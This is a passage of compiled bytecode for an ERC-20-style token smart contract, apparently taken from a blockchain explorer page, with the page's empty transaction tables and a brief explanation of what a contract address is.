00401611f989190612116565b60405180910390fd5b506001151581151514611ffc578260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ff79190612e73565b611ffe565b825b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f808311829061208b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120829190612116565b60405180910390fd5b505f83856120999190612f68565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120e8826120a6565b6120f281856120b0565b93506121028185602086016120c0565b61210b816120ce565b840191505092915050565b5f6020820190508181035f83015261212e81846120de565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61217082612147565b9050919050565b61218081612166565b811461218a575f80fd5b50565b5f8135905061219b81612177565b92915050565b5f819050919050565b6121b3816121a1565b81146121bd575f80fd5b50565b5f813590506121ce816121aa565b92915050565b5f80604083850312156121ea576121e961213f565b5b5f6121f78582860161218d565b9250506020612208858286016121c0565b9150509250929050565b5f8115159050919050565b61222681612212565b82525050565b5f60208201905061223f5f83018461221d565b92915050565b61224e816121a1565b82525050565b5f6020820190506122675f830184612245565b92915050565b5f805f606084860312156122845761228361213f565b5b5f6122918682870161218d565b93505060206122a28682870161218d565b92505060406122b3868287016121c0565b9150509250925092565b5f60ff82169050919050565b6122d2816122bd565b82525050565b5f6020820190506122eb5f8301846122c9565b92915050565b5f602082840312156123065761230561213f565b5b5f6123138482850161218d565b91505092915050565b61232581612166565b82525050565b5f60208201905061233e5f83018461231c565b92915050565b5f806040838503121561235a5761235961213f565b5b5f6123678582860161218d565b92505060206123788582860161218d565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6123bc826120ce565b810181811067ffffffffffffffff821117156123db576123da612386565b5b80604052505050565b5f6123ed612136565b90506123f982826123b3565b919050565b5f67ffffffffffffffff82111561241857612417612386565b5b602082029050602081019050919050565b5f80fd5b5f61243f61243a846123fe565b6123e4565b9050808382526020820190506020840283018581111561246257612461612429565b5b835b8181101561248b5780612477888261218d565b845260208401935050602081019050612464565b5050509392505050565b5f82601f8301126124a9576124a8612382565b5b81356124b984826020860161242d565b91505092915050565b5f67ffffffffffffffff8211156124dc576124db612386565b5b602082029050602081019050919050565b5f6124ff6124fa846124c2565b6123e4565b9050808382526020820190506020840283018581111561252257612521612429565b5b835b8181101561254b578061253788826121c0565b845260208401935050602081019050612524565b5050509392505050565b5f82601f83011261256957612568612382565b5b81356125798482602086016124ed565b91505092915050565b5f80604083850312156125985761259761213f565b5b5f83013567ffffffffffffffff8111156125b5576125b4612143565b5b6125c185828601612495565b925050602083013567ffffffffffffffff8111156125e2576125e1612143565b5b6125ee85828601612555565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561267a57808604811115612656576126556125f8565b5b60018516156126655780820291505b808102905061267385612625565b945061263a565b94509492505050565b5f82612692576001905061274d565b8161269f575f905061274d565b81600181146126b557600281146126bf576126ee565b600191505061274d565b60ff8411156126d1576126d06125f8565b5b8360020a9150848211156126e8576126e76125f8565b5b5061274d565b5060208310610133831016604e8410600b84101617156127235782820a90508381111561271e5761271d6125f8565b5b61274d565b6127308484846001612631565b92509050818404811115612747576127466125f8565b5b81810290505b9392505050565b5f61275e826121a1565b9150612769836122bd565b92506127967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612683565b905092915050565b5f6127a8826121a1565b91506127b3836121a1565b92508282026127c1816121a1565b915082820484148315176127d8576127d76125f8565b5b5092915050565b7f417373697374204661696c6564000000000000000000000000000000000000005f82015250565b5f612813600d836120b0565b915061281e826127df565b602082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61287b6020836120b0565b915061288682612847565b602082019050919050565b5f6020820190508181035f8301526128a88161286f565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6128e36011836120b0565b91506128ee826128af565b602082019050919050565b5f6020820190508181035f830152612910816128d7565b9050919050565b5f8151905061292581612177565b92915050565b5f602082840312156129405761293f61213f565b5b5f61294d84828501612917565b91505092915050565b5f6040820190506129695f83018561231c565b612976602083018461231c565b9392505050565b5f819050919050565b5f819050919050565b5f6129a96129a461299f8461297d565b612986565b6121a1565b9050919050565b6129b98161298f565b82525050565b5f60c0820190506129d25f83018961231c565b6129df6020830188612245565b6129ec60408301876129b0565b6129f960608301866129b0565b612a06608083018561231c565b612a1360a0830184612245565b979650505050505050565b5f81519050612a2c816121aa565b92915050565b5f805f60608486031215612a4957612a4861213f565b5b5f612a5686828701612a1e565b9350506020612a6786828701612a1e565b9250506040612a7886828701612a1e565b9150509250925092565b5f604082019050612a955f83018561231c565b612aa26020830184612245565b9392505050565b612ab281612212565b8114612abc575f80fd5b50565b5f81519050612acd81612aa9565b92915050565b5f60208284031215612ae857612ae761213f565b5b5f612af584828501612abf565b91505092915050565b7f4572726f720000000000000000000000000000000000000000000000000000005f82015250565b5f612b326005836120b0565b9150612b3d82612afe565b602082019050919050565b5f6020820190508181035f830152612b5f81612b26565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bc06024836120b0565b9150612bcb82612b66565b604082019050919050565b5f6020820190508181035f830152612bed81612bb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c4e6022836120b0565b9150612c5982612bf4565b604082019050919050565b5f6020820190508181035f830152612c7b81612c42565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cdc6025836120b0565b9150612ce782612c82565b604082019050919050565b5f6020820190508181035f830152612d0981612cd0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d6a6023836120b0565b9150612d7582612d10565b604082019050919050565b5f6020820190508181035f830152612d9781612d5e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612df86029836120b0565b9150612e0382612d9e565b604082019050919050565b5f6020820190508181035f830152612e2581612dec565b9050919050565b5f612e36826121a1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e6857612e676125f8565b5b600182019050919050565b5f612e7d826121a1565b9150612e88836121a1565b9250828203905081811115612ea057612e9f6125f8565b5b92915050565b7f4661696c656400000000000000000000000000000000000000000000000000005f82015250565b5f612eda6006836120b0565b9150612ee582612ea6565b602082019050919050565b5f6020820190508181035f830152612f0781612ece565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f72826121a1565b9150612f7d836121a1565b925082612f8d57612f8c612f3b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ff26021836120b0565b9150612ffd82612f98565b604082019050919050565b5f6020820190508181035f83015261301f81612fe6565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305881612166565b82525050565b5f613069838361304f565b60208301905092915050565b5f602082019050919050565b5f61308b82613026565b6130958185613030565b93506130a083613040565b805f5b838110156130d05781516130b7888261305e565b97506130c283613075565b9250506001810190506130a3565b5085935050505092915050565b5f60a0820190506130f05f830188612245565b6130fd60208301876129b0565b818103604083015261310f8186613081565b905061311e606083018561231c565b61312b6080830184612245565b9695505050505050565b5f61313f826121a1565b915061314a836121a1565b9250828201905080821115613162576131616125f8565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61319c601b836120b0565b91506131a782613168565b602082019050919050565b5f6020820190508181035f8301526131c981613190565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2ce0b5e38873d338a884d24e35043ec4140491d8a8522607a53e498fb8610a064736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.